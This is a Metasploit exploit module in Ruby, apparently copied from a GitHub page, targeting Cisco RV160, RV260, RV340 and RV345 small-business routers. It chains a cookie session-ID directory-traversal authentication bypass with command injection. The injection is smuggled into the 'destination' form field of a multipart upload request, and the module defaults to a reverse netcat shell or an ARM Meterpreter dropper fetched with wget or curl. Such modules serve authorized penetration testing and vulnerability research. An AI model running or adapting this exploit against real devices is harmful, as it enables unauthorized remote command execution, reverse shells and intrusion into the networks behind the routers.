Path: blob/master/modules/exploits/linux/http/cisco_rv340_lan.rb
36516 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::CmdStager11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Cisco RV Series Authentication Bypass and Command Injection',18'Description' => %q{19This module exploits two vulnerabilities, a session ID directory traversal authentication20bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340,21and RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges.22This access can then be used to pivot to other parts of the network. This module works on firmware23versions 1.0.03.24 and below.24},25'License' => MSF_LICENSE,26'Author' => [27'Biem Pham', # Vulnerability Discoveries28'Neterum', # Metasploit Module29'jbaines-r7' # Inspired from cisco_rv_series_authbypass_and_rce.rb30],31'DisclosureDate' => '2021-11-02',32'References' => [33['CVE', '2022-20705'], # Authentication Bypass34['CVE', '2022-20707'], # Command Injection35['ZDI', '22-410'], # Authentication Bypass36['ZDI', '22-411'] # Command Injection37],38'Targets' => [39[40'Unix Command',41{42'Platform' => 'unix',43'Arch' => ARCH_CMD,44'Type' => :unix_cmd,45'Payload' => {46'BadChars' => '\'#'47},48'DefaultOptions' => {49'PAYLOAD' => 'cmd/unix/reverse_netcat'50}51}52],53[54'Linux Dropper',55{56'Platform' => 'linux',57'Arch' => [ARCH_ARMLE],58'Type' => :linux_dropper,59'Payload' => {60'BadChars' => '\'#'61},62'CmdStagerFlavor' => [ 'wget', 'curl' ],63'DefaultOptions' => {64'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'65}66}67]68],69'DefaultTarget' => 0,70'DefaultOptions' => {71'RPORT' => 443,72'SSL' => true,73'MeterpreterTryToFork' => true74},75'Notes' => {76'Stability' => [CRASH_SAFE],77'Reliability' => [REPEATABLE_SESSION],78'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]79}80)81)82register_options(83[84OptString.new('TARGETURI', [true, 'Base path', '/'])85]86)87end8889# sessionid utilized later needs to be set to length90# of 16 or exploit will fail. Tested with lengths91# 14-1792def generate_session_id93return Rex::Text.rand_text_alphanumeric(16)94end9596def check97res = send_request_cgi({98'method' => 'GET',99'uri' => '/upload',100'headers' => {101'Cookie' => 'sessionid =../../www/index.html; sessionid=' + generate_session_id102}103}, 10)104105# A proper "upload" will trigger file creation. So the send_request_cgi call106# above is an incorrect "upload" call to avoid creating a file on disk. The router will return107# status code 405 Not Allowed if authentication has been bypassed by the above request.108# The firmware containing this authentication bypass also contains the command injection109# vulnerability that will be abused during actual exploitation. Non-vulnerable110# firmware versions will respond with 403 Forbidden.111if res.nil?112return CheckCode::Unknown('The device did not respond to request packet.')113elsif res.code == 405114return CheckCode::Appears('The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.')115elsif res.code == 403116return CheckCode::Safe('The device is not vulnerable to exploitation.')117else # Catch-all118return CheckCode::Unknown('The target responded in an unexpected way. Exploitation is unlikely.')119end120end121122def execute_command(cmd, _opts = {})123res = send_exploit(cmd)124125# Successful unix_cmd shells should not produce a response.126# However if a response is returned, check the status code and return127# Failure::NotVulnerable if it is 403 Forbidden.128if target['Type'] == :unix_cmd && res&.code == 403129fail_with(Failure::NotVulnerable, 'The target responded with 403 Forbidden and is not vulnerable')130end131132if target['Type'] == :linux_dropper133fail_with(Failure::Unreachable, 'The target did not respond') unless res134fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200135begin136body_json = res.get_json_document137fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json138rescue JSON::ParserError => e139print_error("Failed: #{e.class} - #{e.message}")140fail_with(Failure::UnexpectedReply, 'Failed to parse the response returned from the server! Its possible the response may not be JSON!')141end142end143144print_good('Exploit successfully executed.')145end146147def send_exploit(cmd)148filename = Rex::Text.rand_text_alphanumeric(5..12)149fileparam = Rex::Text.rand_text_alphanumeric(5..12)150input = Rex::Text.rand_text_alphanumeric(5..12)151152# sessionid utilized later needs to be set to length153# of 16 or exploit will fail. Tested with lengths154# 14-17155sessionid = Rex::Text.rand_text_alphanumeric(16)156157filepath = '/tmp/upload.input' # This file must exist and be writeable by www-data so we just use the temporary upload file to prevent issues.158pathparam = 'Configuration'159160destination = "'; " + cmd + ' #'161162multipart_form = Rex::MIME::Message.new163multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"')164multipart_form.add_part(filename, nil, nil, 'form-data; name="filename"')165multipart_form.add_part(pathparam, nil, nil, 'form-data; name="pathparam"')166multipart_form.add_part(fileparam, nil, nil, 'form-data; name="fileparam"')167multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"')168multipart_form.add_part(input, 'application/octet-stream', nil, format('form-data; name="input"; filename="%<filename>s"', filename: filename))169170# Escaping "/tmp/upload/" folder that does not contain any other permanent files171send_request_cgi({172'method' => 'POST',173'uri' => '/upload',174'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",175'headers' => {176'Cookie' => 'sessionid =../../www/index.html; sessionid=' + sessionid177},178'data' => multipart_form.to_s179}, 10)180end181182def exploit183print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")184case target['Type']185when :unix_cmd186execute_command(payload.encoded)187when :linux_dropper188execute_cmdstager(linemax: 120)189end190end191end192193194